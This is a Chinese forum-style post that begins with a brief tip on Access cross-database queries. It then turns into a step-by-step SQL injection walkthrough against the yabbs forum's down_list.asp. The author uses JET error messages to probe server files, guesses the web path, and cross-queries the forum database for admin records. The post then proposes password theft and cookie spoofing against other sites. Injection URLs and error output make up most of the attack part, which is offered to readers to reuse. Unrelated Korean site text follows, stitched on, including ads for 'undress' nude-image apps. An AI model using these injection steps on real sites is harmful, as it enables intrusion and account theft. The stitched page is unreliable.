跨库查询一定需要绝对路径吗
找到一点关于不要 绝对 路径 的东西,希望讨论一下! ACCESS的跨库是通过中括号实现的,包括 路径 ,密码设置等;跨库的前提是已经打开了一个Connection。 问题说明: 有时 需要 在两个或三个数据库的表中,通过相关关键字, 查询 获取所需记录集,用一般的SQL
找到一点关于不要绝对路径的东西,希望讨论一下!
ACCESS的跨库是通过中括号实现的,包括路径,密码设置等;跨库的前提是已经打开了一个Connection。
问题说明: 有时需要在两个或三个数据库的表中,通过相关关键字,查询获取所需记录集,用一般的SQL查询语句是实现不了的,可通过ACCESS的跨库查询功能实现。
解决方法: 例如"admin"和"rain"两张表是在不同的数据库中的,具体查询方法,如下:
@"Select * from admin as a INNER JOIN [;database=" + AppDomain.CurrentDomain.BaseDirectory + "rain.zc].rain as b
ON a.BH=b.LXBH"
SUPERHEI的那个还不是先暴库得到绝对路径,再跨库的, 和讨论的有点区别啊
这个跨库,好象需要两个库在同一目录就可以了 看到这个题目各位大虾小虾先别急着找东西砸我,的确现在跨库查询的资料随便找找都可以找到一大堆,不像以前那样想看点资料还得对着一大堆E文敲脑袋。今天我要说的是我前一段时间发现的一个跨库查询的一个新玩法,大家可要仔细听哦。
照例先介绍一下,在大概一个月前幻影旅团和灰色轨迹对这个问题进行了一些讨论就是在递交:
http://www.target.com/show.asp?id=1 or 0(select count(*) from admin.c)
会出现如下的错误提示:
Microsoft JET Database Engine 错误 '80004005'
找不到文件 'C:\WINNT\system32\admin.mdb'。
看到了吧,如果看过xhacker写的那份学习报告的人肯定就已经兴奋起来了,因为那份报告隐约提到了ACCESS的一个漏洞可以Dir C:\ /s!让我们继续玩下去吧,递交:
http://www.target.com/show.asp?id=1 or 0(select count(*) from c:\boot.ini)
返回:
Microsoft JET Database Engine 错误 '80004005'
找不到文件 'c:\boot.mdb'。
看样子from后面的部分我们是可以添加路径的了。既然想Dir当然就要访问了cmd.exe拉,再来:
http://www.target.com/show.asp?id=1 or 0(select count(*) from c:\winnt\system32\cmd.exe.c)
看看错误提示吧:
Microsoft JET Database Engine 错误 '80004005'
不可识别的数据库格式 'c:\winnt\system32\CMD.EXE'。
看样子我们的希望落空了哦(多次实践后你可以得到from后面跟的文件名的格式应该是这样:文件名.后缀名.任何字母,这样你才可以访问到文件名.后缀名的那个文件)。这个时候这个漏洞好象我们至多只可以确定一个目录或一个文件是否存在,当时我和很多人的想法一样认为这属于鸡肋级的漏洞,食之无味,弃之可惜。
后来在一天在帮一个朋友检测论坛安全性,看了看是用的雅艺论坛。首先我试了一下默认的数据库名。提交:
http://www.target.com/yabbs/data/1yabbs.asp,没有提示找不到文件,看样子是没改数据库名了。但是由于扩展名是.asp,我们仍然无法下载他的数据库。没办法,只好到硬盘去翻了半天把我原来下载的一套雅艺论坛拿出来看代码。结果还真发现了一个激动人心的地方,在论坛自带的下载插件的down_list.asp这个文件发现这样的一段代码:
if request("id")="" then
response.write "您没有选择相关软件,请返回"
response.end
end if
set rs=server.createobject("adodb.recordset")
sql="select
Dclass.class,DNclass.Nclass,download.showname,download.classid,download.Nclassid,download.lasthits,download.down
show from download,Dclass,DNclass where download.classid=Dclass.classid and download.Nclassid=DNclass.Nclassid
and download.ID="&request("id")
看见没有,&request("id")这个变量没做任何过滤就代如到查询语句中去了,我们可以进行SQL注入!说的容易,在做的时候却碰到了困难,递交如下URL:
(select%20count(*)%20from%20admin">http://www.target.com/yabbs/down_list.asp?id=1%20or%200(select%20count(*)%20from%20admin)
成功返回页面,OK,存在admin表。再来确定保存用户名的列名:
(select%20count(*)%20from%20admin">http://www.target.com/yabbs/down_list.asp?id=1%20or%200(select%20count(*)%20from%20admin where username)
也成功了,保存用户名的列为username,再来看密码列:
(select%20count(*)%20from%20admin">http://www.target.com/yabbs/down_list.asp?id=1%20or%200(select%20count(*)%20from%20admin where password)
出错了,没关系早有准备,再试。最后几乎把我可以想到的列名全试了个遍,既然没一个对的,这下轮到我郁闷了,问了问那个朋友对数据库做了处理没有,得到的回答是没有。那就打开他默认的数据库吧,DATA目录下有两个数据库,一个是1yabbs.asp(论坛用),一个是 download.asp(下载系统用),打开一看,里面竟然根本没有密码列!看样子又没的玩了,后来在和MM闲扯的时候突然想到了利用方法(别说我和 MM聊天不专心啊:)。在SQL注入的时候我们有时会用到这样语句"admin.id"其中admin是表名,id是列名。那么我们可不可以结合前一段时间讨论的那个鸡肋漏洞呢,既然想到了,那就要动手实践一下才行,用开始说的方法,先来找WEB目录:
(select%20count(*)%20from%20c:\web\w.c.c">http://www.target.com/yabbs/down_list.asp?id=1%20or%200(select%20count(*)%20from%20c:\web\w.c.c)
返回如下信息:
Microsoft JET Database Engine 错误 '80004005'
'c:\web\w.c'不是一个有效的路径。 确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。
/yabbs/down_list.asp,行37
目录猜错了,再来:
(select%20count(*)%20from%20d:\web\w.c.c">http://www.target.com/yabbs/down_list.asp?id=1%20or%200(select%20count(*)%20from%20d:\web\w.c.c)
这次提示就变了:
Microsoft VBscript 编译器错误 错误'8000a03f6'
缺少 'End'
/iisHelp/common/500-100.asp,行242
Microsoft JET Database Engine 错误 '80004005'
找不到文件'd:\web\w.c'。
/yabbs/down_list.asp,行37
这次提示找不到文件哦,呵呵,知道WEB目录就容易了大胆的猜吧。再次递交:
(select%20count(*)%20from%">http://www.target.com/yabbs/down_list.asp?id=1%20or%200(select%20count(*)%20from%20d:\web\yabbs\datayabbs.asp.c)
这次OK,直接猜到了具体的路径,提示却正巧和我的想法一样,真是#$#$@(此时兴奋的晕过去10秒......)
返回的信息为:
Microsoft VBscript 编译器错误 错误'8000a03f6'
缺少 'End'
/iisHelp/common/500-100.asp,行242
Microsoft JET Database Engine 错误 '80040e37'
Microsoft Jet 数据库引擎找不到输入表或查询 'c'。 确定它是否存在,以及它的名称的拼写是否正确。
好了,现在一切都将变的简单化了,递交查询语句确定表和列名。
(select%20count(*)%20from%">(select%20count(*)%20from%">http://www.target.com/yabbs/down_list.asp?id=1%20or%200(select%20count(*)%20from%20d:\web\yabbs\datayabbs.asp.admin%20where%20username)
成功显示,说明在1yabbs.asp这个数据库中存在admin表和username列。再来查询ID值,递交如下URL:
(select%20count(*)%20from%">http://www.target.com/yabbs/down_list.asp?id=1%20or%200(select%20count(*)%20from%20d:\web\yabbs\datayabbs.asp.admin%20where%20id=1)
页面成功显示,现在不用我多说什么了吧,大家都会的,下面的部分就看大家的了。
回顾一下上面的分析过程我们可以干些什么呢?在面对一个大型站点,你知道他的数据库名(例如利用我上次写的那篇动网爆库漏洞的文章中提到的内容,得到了动网论坛的数据库名,但是他的数据库又不可以下载,而那套程序又没有其他已知的注入漏洞。)我们可以试试利用那个站里其他程序存在的SQL注入漏洞来进行跨库查询,先猜WEB路径,再进行跨库查询,从而得到动网论坛的密码,再进行COOKIE欺骗,就可以拿到前台权限了。利用的地方很多,大家可以自己去摸索一下,毕竟要把别人的技术变成自己的就要好好拓展别人的思路来研究。

핫 AI 도구

Undresser.AI Undress
사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover
사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool
무료로 이미지를 벗다

Clothoff.io
AI 옷 제거제

Video Face Swap
완전히 무료인 AI 얼굴 교환 도구를 사용하여 모든 비디오의 얼굴을 쉽게 바꾸세요!

인기 기사

뜨거운 도구

메모장++7.3.1
사용하기 쉬운 무료 코드 편집기

SublimeText3 중국어 버전
중국어 버전, 사용하기 매우 쉽습니다.

스튜디오 13.0.1 보내기
강력한 PHP 통합 개발 환경

드림위버 CS6
시각적 웹 개발 도구

SublimeText3 Mac 버전
신 수준의 코드 편집 소프트웨어(SublimeText3)

뜨거운 주제











12306 티켓 예매 앱의 최신 버전을 다운로드하세요. 모두가 매우 만족하는 여행 티켓 구매 소프트웨어입니다. 소프트웨어에서 제공되는 다양한 티켓 소스가 있어 매우 편리합니다. - 실명인증으로 온라인 구매가 가능합니다. 모든 사용자가 쉽게 여행티켓과 항공권을 구매하고 다양한 할인 혜택을 누릴 수 있습니다. 또한 사전에 예약하고 티켓을 얻을 수도 있습니다. 호텔을 예약하거나 차량으로 픽업 및 하차할 수도 있습니다. 한 번의 클릭으로 원하는 곳으로 이동하고 티켓을 구매할 수 있어 여행이 더욱 간편해지고 편리해집니다. 모든 사람의 여행 경험이 더욱 편안해졌습니다. 이제 편집자가 온라인으로 자세히 설명합니다. 12306명의 사용자에게 과거 티켓 구매 기록을 볼 수 있는 방법을 제공합니다. 1. 철도 12306을 열고 오른쪽 하단의 My를 클릭한 후 My Order를 클릭합니다. 2. 주문 페이지에서 Paid를 클릭합니다. 3. 유료페이지에서

Xuexin.com에서 내 학업 자격을 어떻게 확인하나요? Xuexin.com에서 학업 자격을 확인할 수 있습니다. 많은 사용자가 Xuexin.com에서 학업 자격을 확인하는 방법을 모릅니다. 다음으로 편집자는 Xuexin.com에서 학업 자격을 확인하는 방법에 대한 그래픽 튜토리얼을 제공합니다. 유저들이 와서 구경해 보세요! Xuexin.com 사용 튜토리얼: Xuexin.com에서 학업 자격을 확인하는 방법 1. Xuexin.com 입구: https://www.chsi.com.cn/ 2. 웹사이트 쿼리: 1단계: Xuexin.com 주소를 클릭합니다. 위의 홈페이지에 들어가려면 [교육 쿼리]를 클릭합니다. 2단계: 최신 웹페이지에서 아래 그림의 화살표와 같이 [쿼리]를 클릭합니다. 3단계: 새 페이지에서 [학점 파일에 로그인]을 클릭합니다. 4단계: 로그인 페이지에서 정보를 입력하고 [로그인]을 클릭합니다.

Win11에서 "내 컴퓨터" 경로의 차이점은 무엇입니까? 빨리 찾는 방법! Windows 시스템이 지속적으로 업데이트됨에 따라 최신 Windows 11 시스템도 몇 가지 새로운 변경 사항과 기능을 제공합니다. 일반적인 문제 중 하나는 사용자가 Win11 시스템에서 "내 컴퓨터"에 대한 경로를 찾을 수 없다는 것입니다. 이는 일반적으로 이전 Windows 시스템에서는 간단한 작업이었습니다. 이 기사에서는 Win11 시스템에서 "내 컴퓨터"의 경로가 어떻게 다른지, 그리고 이를 빠르게 찾는 방법을 소개합니다. Windows1에서

MySQL과 PL/SQL은 각각 관계형 데이터베이스와 절차적 언어의 특성을 나타내는 서로 다른 두 가지 데이터베이스 관리 시스템입니다. 이 기사에서는 구체적인 코드 예제를 통해 MySQL과 PL/SQL 간의 유사점과 차이점을 비교합니다. MySQL은 SQL(구조적 쿼리 언어)을 사용하여 데이터베이스를 관리하고 운영하는 인기 있는 관계형 데이터베이스 관리 시스템입니다. PL/SQL은 Oracle 데이터베이스 고유의 절차적 언어로 저장 프로시저, 트리거, 함수 등의 데이터베이스 개체를 작성하는 데 사용됩니다. 같은

Linux 커널은 소스 코드가 전용 코드 저장소에 저장되어 있는 오픈 소스 운영 체제 커널입니다. 이번 글에서는 리눅스 커널 소스코드의 저장 경로를 자세히 분석하고, 독자들의 이해를 돕기 위해 구체적인 코드 예시를 활용하겠습니다. 1. Linux 커널 소스 코드 저장 경로 Linux 커널 소스 코드는 linux라는 Git 저장소에 저장되어 있으며, 이 저장소는 [https://github.com/torvalds/linux](http://github.com/torvalds/linux)에서 호스팅됩니다.

애플 휴대폰을 이용하여 개통일을 확인하고 싶다면 휴대폰에 있는 일련번호를 통해 확인하는 것이 가장 좋은 방법이며, 애플 공식 홈페이지를 방문하여 컴퓨터에 연결한 후 세 번째 다운로드를 통해 확인할 수도 있습니다. - 그것을 확인하는 파티 소프트웨어. Apple 휴대폰의 활성화 날짜를 확인하는 방법은 무엇입니까? 답변: 일련번호 쿼리, Apple 공식 웹사이트 쿼리, 컴퓨터 쿼리, 타사 소프트웨어 쿼리 1. 사용자가 휴대폰의 일련번호를 아는 것이 가장 좋습니다. 설정, 일반, 이 기기 정보를 열어 일련번호를 확인할 수 있습니다. 2. 일련번호를 이용하면 휴대폰 개통일뿐만 아니라 휴대폰 버전, 휴대폰 원산지, 휴대폰 공장일 등을 확인할 수 있습니다. 3. 사용자는 Apple의 공식 웹 사이트를 방문하여 기술 지원을 찾고, 페이지 하단의 서비스 및 수리 열을 찾아 거기에서 iPhone 활성화 정보를 확인합니다. 4. 사용자

제목: Oracle을 사용하여 테이블이 잠겨 있는지 쿼리하는 방법은 무엇입니까? Oracle 데이터베이스에서 테이블 잠금은 트랜잭션이 테이블에 쓰기 작업을 수행할 때 다른 트랜잭션이 테이블에 쓰기 작업을 수행하거나 테이블에 구조적 변경(예: 열 추가, 행 삭제)을 수행하려고 할 때 차단된다는 것을 의미합니다. , 등.). 실제 개발 과정에서 관련 문제를 더 잘 해결하고 처리하기 위해 테이블이 잠겨 있는지 쿼리해야 하는 경우가 종종 있습니다. 이 기사에서는 Oracle 문을 사용하여 테이블이 잠겨 있는지 쿼리하는 방법을 소개하고 특정 코드 예제를 제공합니다. 테이블이 잠겨 있는지 확인하려면

Linux 시스템에서 RPM(RedHatPackageManager)은 소프트웨어 패키지를 설치, 업그레이드 및 삭제하는 데 사용되는 일반적인 소프트웨어 패키지 관리 도구입니다. 검색이나 기타 작업을 위해 설치된 RPM 파일의 저장 경로를 찾아야 하는 경우가 있습니다. 다음은 Linux 시스템에서 RPM 파일의 저장 경로를 찾는 방법을 소개하고 구체적인 코드 예시를 제공합니다. 먼저 rpm 명령을 사용하여 설치된 RPM 패키지와 해당 저장 경로를 찾을 수 있습니다. 열려 있는
